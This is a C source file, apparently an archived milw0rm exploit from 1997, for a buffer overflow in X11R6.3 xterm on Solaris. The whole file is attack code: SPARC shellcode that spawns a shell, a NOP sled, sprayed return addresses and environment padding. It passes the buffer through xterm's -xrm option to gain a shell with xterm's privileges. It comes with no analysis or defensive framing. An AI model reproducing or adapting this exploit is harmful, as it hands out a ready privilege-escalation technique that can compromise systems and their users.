83 lines
No EOL
2.3 KiB
C
83 lines
No EOL
2.3 KiB
C
/*
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* X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#include <unistd.h>
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#define EXTRA2 1300
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#define BUF_LENGTH 400
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#define EXTRA 500
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/* Need an addr such that contents of addr+0xe98 = 0 */
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#define SAFE_ADDR ((unsigned)0xefff2008)
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#define STACK_OFFSET 0x4800
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#define SPARC_NOP 0xa61cc013
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u_long sparc_shellcode[] =
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{
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0x2d0bd89a, /* sethi %hi(0x2f626800), %l6 */
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0xac15a16e, /* or %l6, 0x16e, %l6 */
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0x2f0bdadc, /* sethi %hi(0x2f6b7000), %l7 */
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0xae15e368, /* or %l7, 0x368, %l7 */
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0x900b800e, /* and %sp, %sp, %o0 */
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0x9203a00c, /* add %sp, 0xc, %o1 */
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0x941ac00b, /* xor %o3, %o3, %o2 */
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0x9c03a014, /* add %sp, 0x14, %sp */
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0xec3bbfec, /* std %l6, [ %sp + -20 ] */
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0xc023bff4, /* clr [ %sp + -12 ] */
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0xdc23bff8, /* st %sp, [ %sp + -8 ] */
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0xc023bffc, /* clr [ %sp + -4 ] */
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0x8210203b, /* mov 0x3b, %g1 */
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0x91d02008, /* ta 8 */
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0xffffffff, /* illegal */
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};
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u_long get_sp(void)
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{
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asm("mov %sp,%i0 \n");
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}
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char buf[BUF_LENGTH + EXTRA + EXTRA2 + 8];
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char longvar[0x4000] = "BLAH=";
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void main(int argc, char *argv[])
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{
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char *env[2];
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unsigned long targ_addr;
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u_long *long_p;
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int i, code_length = sizeof(sparc_shellcode),dso=0;
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if(argc > 1) dso=atoi(argv[1]);
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long_p =(u_long *) buf;
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for (i = 0; i < EXTRA2 / sizeof(u_long); i++)
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*long_p++ = (SAFE_ADDR >> 8) | (SAFE_ADDR << 24);
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targ_addr = get_sp() - STACK_OFFSET - dso;
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for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
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*long_p++ = SPARC_NOP;
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for (i = 0; i < code_length / sizeof(u_long); i++)
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*long_p++ = sparc_shellcode[i];
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for (i = 0; i < EXTRA / sizeof(u_long); i++)
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*long_p++ = targ_addr;
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printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
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targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
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/* This is just to shove the stack down a bit */
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memset(&longvar[5], 'a', sizeof longvar-6);
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longvar[sizeof longvar -1] = '\0';
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env[0] = longvar;
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env[1] = NULL;
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execle("./xterm", "xterm", "-xrm", buf,(char *) 0, env);
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perror("execl failed");
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}
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// milw0rm.com [1997-05-28]
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